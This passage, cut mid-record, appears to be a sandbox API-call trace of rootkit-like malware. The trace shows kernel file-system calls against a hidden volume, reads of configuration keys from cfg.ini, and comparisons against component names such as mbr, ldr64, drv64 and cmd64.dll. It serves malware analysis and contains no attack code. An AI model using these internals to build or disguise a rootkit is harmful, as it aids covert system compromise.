_Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.781] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.781] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.782] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6960 [0121.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.782] KeLeaveCriticalRegion () [0121.782] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.782] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.782] KeEnterCriticalRegion () [0121.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.782] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.782] KeLeaveCriticalRegion () [0121.782] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.782] KeEnterCriticalRegion () [0121.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.782] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.782] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.782] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.782] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.782] IdePortDispatch () returned 0x103 [0121.782] KeWaitForMutexObject () returned 0x0 [0121.782] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.782] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.782] KeLeaveCriticalRegion () [0121.782] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.782] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.782] KeEnterCriticalRegion () [0121.782] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.782] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bd0000 [0121.782] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.782] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.782] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.782] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.782] IdePortDispatch () returned 0x103 [0121.782] KeWaitForMutexObject () returned 0x0 [0121.783] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.783] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.783] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.783] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.783] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.783] IdePortDispatch () returned 0x103 [0121.783] KeWaitForMutexObject () returned 0x0 [0121.783] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.783] KeLeaveCriticalRegion () [0121.783] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.783] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.783] KeEnterCriticalRegion () [0121.783] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.783] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.783] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.783] KeLeaveCriticalRegion () [0121.783] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.783] KeEnterCriticalRegion () [0121.783] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.784] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.784] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bd6630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.784] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.784] KeLeaveCriticalRegion () [0121.784] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.784] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.784] KeEnterCriticalRegion () [0121.784] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.784] ExFreePoolWithTag (P=0xfffffa8003bc6960, Tag=0x0) [0121.784] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.784] KeLeaveCriticalRegion () [0121.784] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.784] ReleaseMutex (hMutex=0xf0) returned 1 [0121.784] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.784] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.784] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.784] KeEnterCriticalRegion () [0121.784] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.784] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.784] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.784] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.784] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.784] IdePortDispatch () returned 0x103 [0121.784] KeWaitForMutexObject () returned 0x0 [0121.784] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.784] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.784] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.784] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.784] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.784] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bd6a00 [0121.784] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.784] KeLeaveCriticalRegion () [0121.784] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.784] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.784] KeEnterCriticalRegion () [0121.784] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.784] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.784] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.784] KeLeaveCriticalRegion () [0121.785] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.785] KeEnterCriticalRegion () [0121.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.785] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.785] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.785] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.785] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.785] IdePortDispatch () returned 0x103 [0121.785] KeWaitForMutexObject () returned 0x0 [0121.785] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.785] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.785] KeLeaveCriticalRegion () [0121.785] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.785] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.785] KeEnterCriticalRegion () [0121.785] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.785] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bd1000 [0121.785] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.785] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.785] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.785] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.785] IdePortDispatch () returned 0x103 [0121.785] KeWaitForMutexObject () returned 0x0 [0121.785] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.785] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.785] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.785] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.785] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.785] IdePortDispatch () returned 0x103 [0121.786] KeWaitForMutexObject () returned 0x0 [0121.786] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.786] KeLeaveCriticalRegion () [0121.786] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.786] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.786] KeEnterCriticalRegion () [0121.786] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.786] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.786] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.786] KeLeaveCriticalRegion () [0121.786] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.786] KeEnterCriticalRegion () [0121.786] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.786] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.786] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.786] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.786] KeLeaveCriticalRegion () [0121.786] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.786] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.786] KeEnterCriticalRegion () [0121.786] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.786] ExFreePoolWithTag (P=0xfffffa8003bd6a00, Tag=0x0) [0121.786] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.787] KeLeaveCriticalRegion () [0121.787] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.787] ReleaseMutex (hMutex=0xf0) returned 1 [0121.787] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.787] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.787] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.787] KeEnterCriticalRegion () [0121.787] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.787] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.787] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.787] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.787] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.787] IdePortDispatch () returned 0x103 [0121.787] KeWaitForMutexObject () returned 0x0 [0121.787] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.787] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.787] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.787] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.787] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.787] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc6f10 [0121.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.787] KeLeaveCriticalRegion () [0121.787] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.787] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.787] KeEnterCriticalRegion () [0121.787] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.787] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.787] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.787] KeLeaveCriticalRegion () [0121.787] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.787] KeEnterCriticalRegion () [0121.787] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.787] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.787] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.787] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.787] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.787] IdePortDispatch () returned 0x103 [0121.788] KeWaitForMutexObject () returned 0x0 [0121.788] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.788] KeLeaveCriticalRegion () [0121.788] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.788] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.788] KeEnterCriticalRegion () [0121.788] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.788] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000bd2000 [0121.788] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.788] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.788] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.788] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.788] IdePortDispatch () returned 0x103 [0121.788] KeWaitForMutexObject () returned 0x0 [0121.788] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.788] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.788] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0121.788] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.788] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.788] IdePortDispatch () returned 0x103 [0121.788] KeWaitForMutexObject () returned 0x0 [0121.788] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.789] KeLeaveCriticalRegion () [0121.789] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.789] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.789] KeEnterCriticalRegion () [0121.789] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.789] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0121.789] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.789] KeLeaveCriticalRegion () [0121.789] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.789] KeEnterCriticalRegion () [0121.789] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.789] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0121.789] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc6570, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.789] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.789] KeLeaveCriticalRegion () [0121.789] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.789] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.789] KeEnterCriticalRegion () [0121.789] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.789] ExFreePoolWithTag (P=0xfffffa8003bc6f10, Tag=0x0) [0121.789] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.789] KeLeaveCriticalRegion () [0121.789] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.789] ReleaseMutex (hMutex=0xf0) returned 1 [0121.789] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.789] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.789] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.790] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.790] KeEnterCriticalRegion () [0121.790] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.790] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.790] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.790] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.790] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.790] IdePortDispatch () returned 0x103 [0121.790] KeWaitForMutexObject () returned 0x0 [0121.790] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.790] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.790] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.790] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.790] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.790] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.791] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.791] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.791] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.791] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.791] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.791] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.791] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.791] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.791] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.791] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.791] KeLeaveCriticalRegion () [0121.791] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0121.791] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0121.791] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.791] KeEnterCriticalRegion () [0121.791] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.791] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0121.791] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0121.791] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.791] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.791] IdePortDispatch () returned 0x103 [0121.791] KeWaitForMutexObject () returned 0x0 [0121.791] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.791] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) 